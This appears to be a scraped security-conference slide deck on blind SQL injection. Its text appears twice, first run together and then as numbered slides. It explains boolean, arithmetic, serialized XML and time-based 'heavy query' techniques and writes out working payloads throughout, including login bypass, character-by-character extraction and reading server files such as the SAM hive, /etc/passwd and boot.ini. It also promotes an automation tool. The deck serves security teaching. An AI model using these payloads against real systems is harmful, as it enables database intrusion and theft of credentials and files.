(Re) Playingwith (Blind) SQL InjectionChema AlonsoInformatica64 Microsoft MVP Enterprise Security
SQL Injection attacksA long time ago, in a galaxyfar, faraway…http://www.phrack.org/issues.html?id=8&issue=54
Back onthe 90sSelect id fromusers_tablewherelogin=‘$users’ and passw=‘$password’;UserPassword****************
Back onthe 90sSelect id fromusers_tablewherelogin=‘Admin’ and passw=‘’ or ‘1’=‘1’;UserAdminPassword‘ or ‘1’=‘1
Noteverybody….
ODBC Error messagesUsername: ' having 1=1-- [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.Username: ' group by users.id having 1=1--[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.  And so on…
Evensecuritycompanies: Kaspersky
AgendaSerialized SQL InjectionDemo: XML ExtractorArithmetic SQL InjectionDivide byZeroSums and subtractionsTypeoveflowDemoRemoteFileDownloadingusingBlind SQL InjectionSQL SeverMySQLOracleDemo: RFD ToolTime-BasedBlind SQL Injectionusing heavy queriesDemo: MarathonTool
Serialized SQL Injection
Serialized SQL InjectionGoal: ToMergecomplexresultsets in a single showablefieldXML serializationfunctionsallowtoconvert a resultsetinto a oneXML string.It´spossibletodownloadbigamount of data with single and simple injections.
SQL ServerFOR XML: Retrieves data as a single stringrepresentingan XML tree. RAW: Mandatory option. Shows the information converting each row of the result set in an XML element in the form <row />.BINARY BASE64:The query will fail if we find any BINARY data type column (containing images, or passwords) if this option is not explicitly specified.union select '1','2','3',(select * from sysusers for xml raw, binary base64) XMLSCHEMA: obtains the whole table structure, including the data types, column names and other constraints.Described by DaniKachakil
MySQLNo default XML support, requires a server sideextensionGROUP_CONCAT (v 4.1+)
Oraclexmlforest, xmlelement,…No * support
Demo: Serialized SQL Injection
ArithmeticBlind SQL Injection
Blind AttacksAttacker injects code but can´t access directly to the data.However this injection changes the behavior of the web application. Then the attacker looks for differences between true code injections (1=1) and false code injections (1=2) in the response pages to extract data.Blind SQL InjectionBiind Xpath InjectionBlind LDAP Injection
Blind SQL Injection AttacksAttacker injects:“True where clauses”“False where clauses“Ex:Program.php?id=1 and 1=1Program.php?id=1 and 1=2Program doesn’t return any visible data from database or data in error messages.The attacker can´t see any data extracted from the database.
Blind SQL Injection AttacksAttacker analyzes the response pages looking for differences between “True-Answer Page” and “False-Answer Page”:Different hashesDifferent html structureDifferent patterns (keywords)Different linear ASCII sums“Different behavior”By example: Response Time
Blind SQL Injection AttacksIf any difference exists, then:Attacker can extract all information from databaseHow? Using “booleanization”MySQL:Program.php?id=1 and 100>(ASCII(Substring(user(),1,1)))“True-Answer Page”  or “False-Answer Page”?MSSQL:Program.php?id=1 and 100>(Select top 1 ASCII(Substring(name,1,1))) from sysusers)Oracle:Program.php?id=1 and 100>(Select ASCII(Substr(username,1,1))) from all_users where rownum<=1)
Blind SQL Injection
ArithmeticBlind SQL InjectionThequeryforcestheparametertobenumericSELECT field FROM table WHERE id=abs(param)Ex:GetParam(ID)Select …..  Where att1=abs(ID)Select ….. Where att2=k1-IDPrint responseBooleanlogicneedstobecreatedwithmathoperations
ArithmeticBlind SQL InjectionDivide byzero (David Litchfield)Id=A+(1/(ASCII(B)-C))A-> Paramvalueoriginallyused in thequery.B -> Valuewe are searchingfor, e.g.: Substring(passwd,1,1)C-> Counter [0..255]When ASCII(B)=C, the DB willgenerate a divide byzeroexception.
ArithmeticBlind SQL InjectionSums and subtractionsId=A+ASCII(B)-CA-> Paramvalueoriginallyused in thequery.B -> Valuewe are searchingfor, e.g.: Substring(passwd,1,1)C-> Counter [0..255]When ASCII(B)=C, thenthe response page of id=A+ASCII(B)-C willbethesame as id=A
ArithmeticBlind SQL InjectionValuetypeoverflowId=A+((C/ASCII(B))*(K))A-> Paramvalueoriginallyused in thequery.B -> Valuewe are searchingfor, e.g.: Substring(passwd,1,1)C-> Counter [0..255]K-> Valuethatoverflowsthetypedefinedfor A(e.g.if A isinteger, then K=2^32)When C/ASCII(B)==1, K*1 overflowsthe data type
Demo: Divide byzeroSums and subtractionsIntegeroverflow
RemoteFileDownloadingusingBlind SQL Injectiontechniques
Accessing FilesTwo ways:Load the file in a temp tableand i>(select top 1 ASCII(Substring(column)(file,pos,1)) from temp_table ??Load the file in the queryWith every query the file is loaded in memoryI am very sorry, engine  and  i>ASCII(Substring(load_file(file,pos,1))??
SQL Server 2K - External Data SourcesOnly for known filetypes:Access trough Drivers: Txt, csv, xls, mdb, logAnd 200>ASCII (SUBSTRING(SELECT * FROM OPENROWSET('MSDASQL', 'Driver = {Microsoft Text Driver (*.txt; *.csv)};DefaultDir=C:\;','select top 1 * from c:\dir\target.txt’),1,1))PrivilegesHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers\DisallowAdhocAccess=0By default thiskeydoesn´texist so onlyuserswithServer Admin Role can use thesefunctions.NTFS permissions
SQL Server 2K – Bulk option Access to any file; Create Table TempTable as (row varchar(8000)) -- ; Bulk Insert TempTable From 'c:\file.ext' With (FIELDTERMINATOR = '\n', ROWTERMINATOR = '\n‘) -- ; alter table  TempTable add num int IDENTITY(1,1) NOT NULL –and (select COUNT(row) from TempTable)and (select top 1 len(row) from TempTable where num = rownum) and (select top 1 ASCII(SUBSTRING(row,1,1)) from TempTable where num = 1) ; Drop Table TempTable--Privileges needed Server Role: BulkadminDatabase Role: db_owner o db_ddladminNTFS permissions
SQL Server 2k5 – 2k8OPENDATASOURCE and OPENROWSET supportedBulk options improvedAND 256 > ASCII(SUBSTRING ((SELECT * FROM OPENROWSET(BULK 'c:\windows\repair\sam', SINGLE_BLOB) As Data), 1, 1))—PermisionsBulkadmin Server RoleExternal Data Sources enabledSp_configureSurface configuration Tool for features
MySQLLoadFileSELECT LOAD_FILE(‘/etc/passwd’)SQLbfTools: MySQLgetcommand (illo and dab)http://www.reversing.org/node/view/11Load Data infile; Create table C8DFC643 (datosvarchar(4000)); Load data infile 'c:\\boot.ini' into table C8DFC643; alter table C8DFC643 add column num integer auto_increment unique keyand (select count(num) from C8DFC643)and (select length(datos) from C8DFC643 where num = 1)and (select ASCII(substring(datos,5,1)) from C8DFC643 where num = 1); Drop table C8DFC643
Oracle – Plain Text filesExternal Tables; execute immediate 'Create Directory A4A9308C As ''c:\'' '; end; -- ; execute immediate 'Create table A737D141 ( datos varchar2(4000) ) organization external (TYPE ORACLE_LOADER default directory A4A9308C access parameters ( records delimited by newline ) location (''boot.ini''))'; end;--Only Plain Text files
Oracle – DBMS_LOB; execute immediate ‘DECLARE  l_bfile  BFILE;l_blob   BLOB;BEGIN INSERT INTO A737D141 (datos) VALUES  (EMPTY_BLOB()) RETURN datos INTO l_blob;l_bfile := BFILENAME(''A4A9308C'', ''Picture.bmp'');DBMS_LOB.fileopen(l_bfile, Dbms_Lob.File_Readonly);DBMS_LOB.loadfromfile(l_blob,l_bfile,DBMS_LOB.getlength(l_bfile));DBMS_LOB.fileclose(l_bfile);COMMIT;EXCEPTION	WHEN OTHERS THEN ROLLBACK;END;‘; end; --
Demo RFD
Time-basedBlind SQL Injectionusing heavy queries
Time-Based Blind SQL InjectionIn scenarios with no differences between “True-Answer Page” and “False-Answer Page”, time delays can be used.Injection forces a delay in the response page when the condition injected is True. - Delay functions:SQL Server: waitforOracle: dbms_lock.sleepMySQL: sleep or Benchmark FunctionPostgres: pg_sleepEx:; if (exists(select * fromusers)) waitfordelay '0:0:5’
Exploit for Solar Empire Web Game
Time-Based Blind SQL InjectionWhat about databases engines without delay functions, i.e., MS Access, Oracle connection without PL/SQL support, DB2, etc…?Can we still perform an exploitation of Time-Based Blind SQL Injection Attacks?
Yes, we can!
“Where-Clause” execution orderSelect “whatever “From whateverWhere condition1 and condition2- Condition1 lasts 10 seconds- Condition2 lasts 100 secondsWhich condition should be executed first?
The heavy condition first
The light condition first
Time-Based Blind SQL Injectionusing Heavy QueriesAttacker can perform an exploitation delaying the “True-answer page” using a heavy query.It depends on how the database engine evaluates the where clauses in the query.There are two types of database engines:Databases without optimization processDatabases with optimization process
Time-Based Blind SQL Injectionusing Heavy QueriesAttacker could inject a heavy Cross-Join condition for delaying the response page in True-Injections. The Cross-join injection must be heavier than the other condition.Attacker only have to know or to guess the name of a table with select permission in the database.Example in MSSQL:Program.php?id=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 300>(select top 1 ascii(substring(name,1,1)) from sysusers)
“Default” tablestoconstruct a heavy queryMicrosoft SQL ServersysusersOracleall_usersMySQL (versión 5)information_schema.columnsMicrosoft AccessMSysAccessObjects  (97 & 2000 versions)MSysAccessStorage  (2003 & 2007)45
“Default” tablestoconstruct a heavy query…or whatever you can guessClientsCustomersNewsLoginsUsersProviders….Use your imagination…
Ex 1: MS SQL ServerQuery takes 14 seconds -> True-Answer
Ex 1: MS SQL ServerQuery takes 1 second -> False-Answer
Ex 2: OracleQuery Takes 22 seconds –> True-Answer
Ex 2: OracleQuery Takes 1 second –> False-Answer
Ex 3: Access 2007Query Takes 39 seconds –> True-Answer
Ex 3: Access 2007Query Takes 1 second –> False-Answer
Marathon ToolAutomates Time-Based Blind SQL Injection Attacks using Heavy Queries in SQL Server, MySQL, MS Access and Oracle Databases.Schema Extraction from known databasesExtract data using heavy queries not matter in which database engine (without schema)Developed in .NETSource code availablehttp://www.codeplex.com/marathontool
Demo: Marathon Tool

Playing With (B)Sqli

  • 1.
    (Re) Playingwith (Blind)SQL InjectionChema AlonsoInformatica64 Microsoft MVP Enterprise Security
  • 2.
    SQL Injection attacksAlong time ago, in a galaxyfar, faraway…http://www.phrack.org/issues.html?id=8&issue=54
  • 3.
    Back onthe 90sSelectid fromusers_tablewherelogin=‘$users’ and passw=‘$password’;UserPassword****************
  • 4.
    Back onthe 90sSelectid fromusers_tablewherelogin=‘Admin’ and passw=‘’ or ‘1’=‘1’;UserAdminPassword‘ or ‘1’=‘1
  • 5.
  • 6.
    ODBC Error messagesUsername:' having 1=1-- [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.Username: ' group by users.id having 1=1--[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. And so on…
  • 7.
  • 8.
    AgendaSerialized SQL InjectionDemo:XML ExtractorArithmetic SQL InjectionDivide byZeroSums and subtractionsTypeoveflowDemoRemoteFileDownloadingusingBlind SQL InjectionSQL SeverMySQLOracleDemo: RFD ToolTime-BasedBlind SQL Injectionusing heavy queriesDemo: MarathonTool
  • 9.
  • 10.
    Serialized SQL InjectionGoal:ToMergecomplexresultsets in a single showablefieldXML serializationfunctionsallowtoconvert a resultsetinto a oneXML string.It´spossibletodownloadbigamount of data with single and simple injections.
  • 11.
    SQL ServerFOR XML:Retrieves data as a single stringrepresentingan XML tree. RAW: Mandatory option. Shows the information converting each row of the result set in an XML element in the form <row />.BINARY BASE64:The query will fail if we find any BINARY data type column (containing images, or passwords) if this option is not explicitly specified.union select '1','2','3',(select * from sysusers for xml raw, binary base64) XMLSCHEMA: obtains the whole table structure, including the data types, column names and other constraints.Described by DaniKachakil
  • 12.
    MySQLNo default XMLsupport, requires a server sideextensionGROUP_CONCAT (v 4.1+)
  • 13.
  • 14.
  • 15.
  • 16.
    Blind AttacksAttacker injectscode but can´t access directly to the data.However this injection changes the behavior of the web application. Then the attacker looks for differences between true code injections (1=1) and false code injections (1=2) in the response pages to extract data.Blind SQL InjectionBiind Xpath InjectionBlind LDAP Injection
  • 17.
    Blind SQL InjectionAttacksAttacker injects:“True where clauses”“False where clauses“Ex:Program.php?id=1 and 1=1Program.php?id=1 and 1=2Program doesn’t return any visible data from database or data in error messages.The attacker can´t see any data extracted from the database.
  • 18.
    Blind SQL InjectionAttacksAttacker analyzes the response pages looking for differences between “True-Answer Page” and “False-Answer Page”:Different hashesDifferent html structureDifferent patterns (keywords)Different linear ASCII sums“Different behavior”By example: Response Time
  • 19.
    Blind SQL InjectionAttacksIf any difference exists, then:Attacker can extract all information from databaseHow? Using “booleanization”MySQL:Program.php?id=1 and 100>(ASCII(Substring(user(),1,1)))“True-Answer Page” or “False-Answer Page”?MSSQL:Program.php?id=1 and 100>(Select top 1 ASCII(Substring(name,1,1))) from sysusers)Oracle:Program.php?id=1 and 100>(Select ASCII(Substr(username,1,1))) from all_users where rownum<=1)
  • 20.
  • 21.
    ArithmeticBlind SQL InjectionThequeryforcestheparametertobenumericSELECTfield FROM table WHERE id=abs(param)Ex:GetParam(ID)Select ….. Where att1=abs(ID)Select ….. Where att2=k1-IDPrint responseBooleanlogicneedstobecreatedwithmathoperations
  • 22.
    ArithmeticBlind SQL InjectionDividebyzero (David Litchfield)Id=A+(1/(ASCII(B)-C))A-> Paramvalueoriginallyused in thequery.B -> Valuewe are searchingfor, e.g.: Substring(passwd,1,1)C-> Counter [0..255]When ASCII(B)=C, the DB willgenerate a divide byzeroexception.
  • 23.
    ArithmeticBlind SQL InjectionSumsand subtractionsId=A+ASCII(B)-CA-> Paramvalueoriginallyused in thequery.B -> Valuewe are searchingfor, e.g.: Substring(passwd,1,1)C-> Counter [0..255]When ASCII(B)=C, thenthe response page of id=A+ASCII(B)-C willbethesame as id=A
  • 24.
    ArithmeticBlind SQL InjectionValuetypeoverflowId=A+((C/ASCII(B))*(K))A->Paramvalueoriginallyused in thequery.B -> Valuewe are searchingfor, e.g.: Substring(passwd,1,1)C-> Counter [0..255]K-> Valuethatoverflowsthetypedefinedfor A(e.g.if A isinteger, then K=2^32)When C/ASCII(B)==1, K*1 overflowsthe data type
  • 25.
    Demo: Divide byzeroSumsand subtractionsIntegeroverflow
  • 26.
  • 27.
    Accessing FilesTwo ways:Loadthe file in a temp tableand i>(select top 1 ASCII(Substring(column)(file,pos,1)) from temp_table ??Load the file in the queryWith every query the file is loaded in memoryI am very sorry, engine  and i>ASCII(Substring(load_file(file,pos,1))??
  • 28.
    SQL Server 2K- External Data SourcesOnly for known filetypes:Access trough Drivers: Txt, csv, xls, mdb, logAnd 200>ASCII (SUBSTRING(SELECT * FROM OPENROWSET('MSDASQL', 'Driver = {Microsoft Text Driver (*.txt; *.csv)};DefaultDir=C:\;','select top 1 * from c:\dir\target.txt’),1,1))PrivilegesHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers\DisallowAdhocAccess=0By default thiskeydoesn´texist so onlyuserswithServer Admin Role can use thesefunctions.NTFS permissions
  • 29.
    SQL Server 2K– Bulk option Access to any file; Create Table TempTable as (row varchar(8000)) -- ; Bulk Insert TempTable From 'c:\file.ext' With (FIELDTERMINATOR = '\n', ROWTERMINATOR = '\n‘) -- ; alter table TempTable add num int IDENTITY(1,1) NOT NULL –and (select COUNT(row) from TempTable)and (select top 1 len(row) from TempTable where num = rownum) and (select top 1 ASCII(SUBSTRING(row,1,1)) from TempTable where num = 1) ; Drop Table TempTable--Privileges needed Server Role: BulkadminDatabase Role: db_owner o db_ddladminNTFS permissions
  • 30.
    SQL Server 2k5– 2k8OPENDATASOURCE and OPENROWSET supportedBulk options improvedAND 256 > ASCII(SUBSTRING ((SELECT * FROM OPENROWSET(BULK 'c:\windows\repair\sam', SINGLE_BLOB) As Data), 1, 1))—PermisionsBulkadmin Server RoleExternal Data Sources enabledSp_configureSurface configuration Tool for features
  • 31.
    MySQLLoadFileSELECT LOAD_FILE(‘/etc/passwd’)SQLbfTools: MySQLgetcommand(illo and dab)http://www.reversing.org/node/view/11Load Data infile; Create table C8DFC643 (datosvarchar(4000)); Load data infile 'c:\\boot.ini' into table C8DFC643; alter table C8DFC643 add column num integer auto_increment unique keyand (select count(num) from C8DFC643)and (select length(datos) from C8DFC643 where num = 1)and (select ASCII(substring(datos,5,1)) from C8DFC643 where num = 1); Drop table C8DFC643
  • 32.
    Oracle – PlainText filesExternal Tables; execute immediate 'Create Directory A4A9308C As ''c:\'' '; end; -- ; execute immediate 'Create table A737D141 ( datos varchar2(4000) ) organization external (TYPE ORACLE_LOADER default directory A4A9308C access parameters ( records delimited by newline ) location (''boot.ini''))'; end;--Only Plain Text files
  • 33.
    Oracle – DBMS_LOB;execute immediate ‘DECLARE l_bfile BFILE;l_blob BLOB;BEGIN INSERT INTO A737D141 (datos) VALUES (EMPTY_BLOB()) RETURN datos INTO l_blob;l_bfile := BFILENAME(''A4A9308C'', ''Picture.bmp'');DBMS_LOB.fileopen(l_bfile, Dbms_Lob.File_Readonly);DBMS_LOB.loadfromfile(l_blob,l_bfile,DBMS_LOB.getlength(l_bfile));DBMS_LOB.fileclose(l_bfile);COMMIT;EXCEPTION WHEN OTHERS THEN ROLLBACK;END;‘; end; --
  • 34.
  • 35.
  • 36.
    Time-Based Blind SQLInjectionIn scenarios with no differences between “True-Answer Page” and “False-Answer Page”, time delays can be used.Injection forces a delay in the response page when the condition injected is True. - Delay functions:SQL Server: waitforOracle: dbms_lock.sleepMySQL: sleep or Benchmark FunctionPostgres: pg_sleepEx:; if (exists(select * fromusers)) waitfordelay '0:0:5’
  • 37.
    Exploit for SolarEmpire Web Game
  • 38.
    Time-Based Blind SQLInjectionWhat about databases engines without delay functions, i.e., MS Access, Oracle connection without PL/SQL support, DB2, etc…?Can we still perform an exploitation of Time-Based Blind SQL Injection Attacks?
  • 39.
  • 40.
    “Where-Clause” execution orderSelect“whatever “From whateverWhere condition1 and condition2- Condition1 lasts 10 seconds- Condition2 lasts 100 secondsWhich condition should be executed first?
  • 41.
  • 42.
  • 43.
    Time-Based Blind SQLInjectionusing Heavy QueriesAttacker can perform an exploitation delaying the “True-answer page” using a heavy query.It depends on how the database engine evaluates the where clauses in the query.There are two types of database engines:Databases without optimization processDatabases with optimization process
  • 44.
    Time-Based Blind SQLInjectionusing Heavy QueriesAttacker could inject a heavy Cross-Join condition for delaying the response page in True-Injections. The Cross-join injection must be heavier than the other condition.Attacker only have to know or to guess the name of a table with select permission in the database.Example in MSSQL:Program.php?id=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 300>(select top 1 ascii(substring(name,1,1)) from sysusers)
  • 45.
    “Default” tablestoconstruct aheavy queryMicrosoft SQL ServersysusersOracleall_usersMySQL (versión 5)information_schema.columnsMicrosoft AccessMSysAccessObjects (97 & 2000 versions)MSysAccessStorage (2003 & 2007)45
  • 46.
    “Default” tablestoconstruct aheavy query…or whatever you can guessClientsCustomersNewsLoginsUsersProviders….Use your imagination…
  • 47.
    Ex 1: MSSQL ServerQuery takes 14 seconds -> True-Answer
  • 48.
    Ex 1: MSSQL ServerQuery takes 1 second -> False-Answer
  • 49.
    Ex 2: OracleQueryTakes 22 seconds –> True-Answer
  • 50.
    Ex 2: OracleQueryTakes 1 second –> False-Answer
  • 51.
    Ex 3: Access2007Query Takes 39 seconds –> True-Answer
  • 52.
    Ex 3: Access2007Query Takes 1 second –> False-Answer
  • 53.
    Marathon ToolAutomates Time-BasedBlind SQL Injection Attacks using Heavy Queries in SQL Server, MySQL, MS Access and Oracle Databases.Schema Extraction from known databasesExtract data using heavy queries not matter in which database engine (without schema)Developed in .NETSource code availablehttp://www.codeplex.com/marathontool
  • 54.
  • 55.